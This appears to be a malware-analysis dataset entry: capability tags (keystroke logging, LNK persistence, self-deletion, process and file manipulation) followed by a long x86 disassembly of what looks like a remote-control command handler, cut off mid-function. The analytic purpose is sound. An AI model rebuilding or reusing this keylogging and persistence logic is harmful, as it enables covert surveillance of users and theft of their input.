Function at 0x4d500c
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x147
push 0
push 0
dec ecx
jne 0x4d5014
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4e8f90]
call fcn.00405200
xor eax, eax
push ebp
push 0x4da465
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x52fed8], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x538170], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d506c.10
mov al, byte [eax + 0x4d5073]
jmp dword [eax*4 + 0x4d5169]
mov ebx, dword [ebx + 0x10]
push 0x4da480
push dword [0x538344]
push 0x4da494
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.004048d4
push 0x4da480
push dword [0x538344]
push 0x4da4a4
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048d4
lea eax, [ebp - 0xd8]
call fcn.004d1fb8
lea eax, [ebp - 0xdc]
call fcn.004d1fb8
cmp ebx, 0xa
jne 0x4d5391
lea edx, [ebp - 0x8b8]
mov eax, 0x13
call fcn.004a8230
mov eax, dword [ebp - 0x8b8]
mov ecx, dword [0x538334]
mov edx, dword [0x538344]
call fcn.0046ae0c
test al, al
je case.0x4d506c.10
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d506c.10
cmp ebx, 0xb
jne 0x4d53e8
push 0
mov eax, dword [0x531a5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4da4b4
call fcn.004d0f6c
test eax, eax
jne case.0x4d506c.10
lea edx, [ebp - 0x8bc]
mov eax, 0x13
call fcn.004a8230
mov eax, dword [ebp - 0x8bc]
mov edx, dword [0x538344]
call fcn.0046b9d4
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d506c.10
cmp ebx, 0xc
jne 0x4d54a7
mov edx, dword [0x531a5c]
mov edx, dword [edx]
mov eax, 0x4da4c0
call fcn.00404b50
test eax, eax
jne case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0x4da4cc
mov eax, dword [0x531a5c]
push dword [eax]
push 0x4da4dc
lea eax, [ebp - 0x8c0]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8c4]
mov edx, dword [ebp - 0xdc]
call fcn.00404e18
mov eax, dword [ebp - 0x8c4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c6b4
test al, al
je 0x4d549a
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004a8230
mov eax, dword [ebp - 0x8c8]
mov edx, dword [0x538344]
call fcn.0046b9d4
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
jmp case.0x4d506c.10
cmp ebx, 0xd
jne case.0x4d506c.10
lea edx, [ebp - 0x8cc]
mov eax, 0x13
call fcn.004a8230
mov eax, dword [ebp - 0x8cc]
mov edx, dword [0x538344]
call fcn.0046b9d4
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d506c.10
mov eax, 0x5382c0
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
lea edx, [ebp - 0x8d0]
mov eax, 0x12d
call fcn.004a8230
mov eax, dword [ebp - 0x8d0]
push eax
lea eax, [ebp - 0x8d4]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [0x5382c0]
pop edx
call fcn.0046c268
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
jmp case.0x4d506c.10
lea edx, [ebp - 0x8d8]
mov eax, 0x12d
call fcn.004a8230
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8dc]
xor ecx, ecx
pop edx
call fcn.0046c268
lea eax, [ebp - 0x8e0]
call fcn.004e9b60
mov edx, dword [ebp - 0x8e0]
mov eax, 0x5382c0
call fcn.004045b0
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53841d]
jne case.0x4d506c.10
cmp byte [0x530548], 0
jne case.0x4d506c.10
xor eax, eax
push ebp
push 0x4d564a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x530548], 1
cmp byte [0x538410], 0
je 0x4d5618
mov byte [0x538429], 0
mov eax, dword [ebx + 0x14]
mov dword [0x538524], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d3cf8
jmp 0x4d5635
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x53841d]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d506c.10
mov byte [0x530548], 0
ret
cmp dword [0x52ff18], 0x520039a
jb case.0x4d506c.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x53848c], al
mov eax, 0x53842f
call fcn.0040455c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x5382d0], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x5382d4], eax
jmp case.0x4d506c.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x58]
call fcn.004dfd08
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x1c]
mov dword [0x53832c], eax
mov eax, dword [0x53832c]
add eax, 0x5b
cmp eax, dword [0x5383c0]
jae 0x4d56f1
push 0
push 0x3e8
mov eax, dword [0x52fee0]
mov edx, dword [0x52fee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d56f1
cmp eax, 0
je case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x538478], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53847c], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
call fcn.004d3f00
jmp case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
jmp case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
call fcn.004d4670
xor edx, edx
mov eax, 1
call fcn.004d4690
jmp case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d115c
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x5304e0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x5304dc], eax
cmp dword [0x5304dc], 0
jg case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
mov edx, dword [0x5304e0]
mov ax, 2
call fcn.004d115c
jmp case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
mov eax, dword [0x531a40]
cmp dword [eax], 2
jne 0x4d5843
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d115c
jmp case.0x4d506c.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d115c
jmp case.0x4d506c.10
cmp byte [0x52ff38], 2
je case.0x4d506c.10
cmp byte [0x53842e], 3
jne case.0x4d506c.10
cmp byte [0x538410], 0
jne case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x538411]
call fcn.004195b4
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8e8]
mov eax, 0xf3
call fcn.004a8230
mov ecx, dword [ebp - 0x8e8]
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x8e4]
call fcn.00404860
mov eax, dword [ebp - 0x8e4]
call fcn.004d4e38
pop ecx
push ebp
mov eax, dword [0x5382d8]
call fcn.004d4e38
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x538411]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d5956
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d593a
lea edx, [ebp - 0x34]
mov eax, dword [0x538411]
call fcn.004e9744
push ebp
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x8ec]
mov ecx, dword [ebp - 0x34]
call fcn.00404860
mov eax, dword [ebp - 0x8ec]
call fcn.004d4e38
pop ecx
jmp 0x4d58e8
mov eax, dword [0x538411]
call fcn.00419594
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x538411]
call fcn.004195b4
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d59ae
lea edx, [ebp - 0x8f8]
mov eax, 0xb
call fcn.004a8230
mov ecx, dword [ebp - 0x8f8]
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x8f4]
call fcn.00404860
mov edx, dword [ebp - 0x8f4]
lea eax, [ebp - 0x8f0]
call fcn.00404e18
mov eax, dword [ebp - 0x8f0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c6b4
jmp 0x4d59e2
lea edx, [ebp - 0x900]
mov eax, 0xb
call fcn.004a8230
mov ecx, dword [ebp - 0x900]
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x8fc]
call fcn.00404860
mov eax, dword [ebp - 0x8fc]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, 0x12c
call fcn.004d0e6c
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
call fcn.004d4670
xor edx, edx
mov eax, 2
call fcn.004d4690
mov byte [0x52ff44], 1
push 5
mov eax, dword [0x531828]
call fcn.00404a64
push eax
mov eax, 0x5382dc
call fcn.00404a64
push eax
mov eax, 0x5382d8
call fcn.00404a64
push eax
push 0x4da4e0
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d506c.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1fb8
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a0c
push eax
push 0x4da4e0
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d506c.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x34]
call fcn.00404814
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409e5c
mov eax, dword [ebp - 0x38]
call fcn.00404814
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409e5c
lea edx, [ebp - 0x904]
mov eax, 0xf4
call fcn.004a8230
mov edx, dword [ebp - 0x904]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d5b24
lea eax, [ebp - 0x38]
call fcn.004d1fb8
lea eax, [ebp - 0x3c]
call fcn.004d1fb8
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d506c.10
lea edx, [ebp - 0x908]
mov eax, 0xf5
call fcn.004a8230
mov edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d5c5d
mov eax, dword [ebp - 0x38]
call fcn.00404814
cmp eax, 3
jle case.0x4d506c.10
lea eax, [ebp - 0x38]
call fcn.004d1fb8
mov eax, dword [ebp - 0x38]
call fcn.0046c408
test al, al
je 0x4d5b87
mov eax, dword [ebp - 0x38]
call fcn.004e83a0
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d1a64
jmp case.0x4d506c.10
mov eax, dword [ebp - 0x38]
call fcn.00461a84
test al, al
je case.0x4d506c.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693e0]
call fcn.00469668
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4dedd4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4df010
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4df54c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d5c3f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046971c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5c46
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
lea edx, [ebp - 0x90c]
mov eax, 0xf6
call fcn.004a8230
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d5cb8
lea eax, [ebp - 0x38]
call fcn.004d1fb8
lea eax, [ebp - 0x3c]
call fcn.004d1fb8
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x5384f0]
lea eax, [ebp - 0x3c]
call fcn.004d1fb8
cmp dword [ebp - 0x3c], 0
jne 0x4d5cdf
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046c380
lea eax, [ebp - 0x34]
call fcn.004d1fb8
mov eax, 0x5384e4
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, 0x5384e8
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, 0x5384ec
mov edx, dword [ebp - 0x3c]
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x530520], eax
cmp dword [0x530520], 0
jg case.0x4d506c.10
mov eax, dword [ebp - 0x28]
call fcn.004d4804
jmp case.0x4d506c.10
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a0], 0x1c0000
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [ebp - 0x15c], eax
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [ebp - 0x158], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x160], eax
push 1
lea eax, [ebp - 0x1c8]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d506c.10
call fcn.004d4d44
jmp case.0x4d506c.10
cmp byte [0x52ffe4], 1
jb case.0x4d506c.10
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov eax, dword [0x52fee4]
mov dword [0x52feec], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d5df7
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x530564]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d5e37
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d5e77
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d506c.10
cmp esi, 0x90
je case.0x4d506c.10
cmp esi, 0x91
je case.0x4d506c.10
cmp esi, 0x10
jne 0x4d5eb5
test edi, 0x80000000
je 0x4d5eae
mov byte [0x530568], 0
jmp 0x4d5eb5
mov byte [0x530568], 1
cmp esi, 0x12
jne 0x4d5f24
test edi, 0x1000000
jne 0x4d5ef6
test edi, 0x80000000
je 0x4d5ee1
mov al, byte [0x4da4e8]
not eax
and al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
mov al, byte [0x4da4e8]
or al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
test edi, 0x80000000
je 0x4d5f12
mov al, byte [0x4da4ec]
not eax
and al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
mov al, byte [0x4da4ec]
or al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
cmp esi, 0x11
jne 0x4d5f8b
test edi, 0x1000000
jne 0x4d5f5f
test edi, 0x80000000
je 0x4d5f4d
mov al, byte [0x4da4f0]
not eax
and al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
mov al, byte [0x4da4f0]
or al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
test edi, 0x80000000
je 0x4d5f7b
mov al, byte [0x4da4f4]
not eax
and al, byte [0x53050c]
mov byte [0x53050c], al
jmp 0x4d5f8b
mov al, byte [0x4da4f4]
or al, byte [0x53050c]
mov byte [0x53050c], al
mov eax, dword [0x531314]
cmp dword [eax], 0
jne 0x4d5f9a
call fcn.004cbc00
mov eax, dword [0x531234]
cmp dword [eax], 0
jne 0x4d5fa9
call fcn.004ccf20
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jne 0x4d5fb8
call fcn.004cd67c
cmp byte [0x5382a8], 0
je 0x4d603a
mov al, byte [0x4da4f8]
cmp al, byte [0x53050c]
jne 0x4d603a
cmp esi, 0x41
jl 0x4d5fd8
cmp esi, 0x5a
jle 0x4d6011
cmp esi, 0x30
jl 0x4d5fe2
cmp esi, 0x39
jle 0x4d6011
cmp esi, 0x60
jl 0x4d5fec
cmp esi, 0x6f
jle 0x4d6011
cmp esi, 0xba
jl 0x4d5ffc
cmp esi, 0xc0
jle 0x4d6011
cmp esi, 0xdb
jl 0x4d600c
cmp esi, 0xde
jle 0x4d6011
cmp esi, 0x20
jne 0x4d603a
test edi, 0x80000000
jne case.0x4d506c.10
mov edx, edi
mov eax, esi
call fcn.004d4c30
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d4c30
jmp case.0x4d506c.10
mov edx, edi
mov eax, esi
call fcn.004d4c30
jmp case.0x4d506c.10
cmp byte [0x52ffe4], 1
jb case.0x4d506c.10
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov eax, dword [0x52fee4]
mov dword [0x52feec], eax
mov eax, dword [0x531314]
cmp dword [eax], 0
jne 0x4d607c
call fcn.004cbc00
mov eax, dword [0x531234]
cmp dword [eax], 0
jne 0x4d608b
call fcn.004ccf20
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jne 0x4d609a
call fcn.004cd67c
mov eax, dword [0x531314]
cmp dword [eax], 0
jle 0x4d6285
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d60bb]
mov eax, 0x12
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, 0x12
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, 0x11
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, 0x11
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, 0x11
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, 0x11
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb7b8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb7d0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb7d0
jmp case.0x4d506c.10
mov eax, dword [0x531234]
cmp dword [eax], 0
jle 0x4d655a
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d62a6]
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53190c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531184]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jle 0x4d694d
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d657b]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x48], 0x12
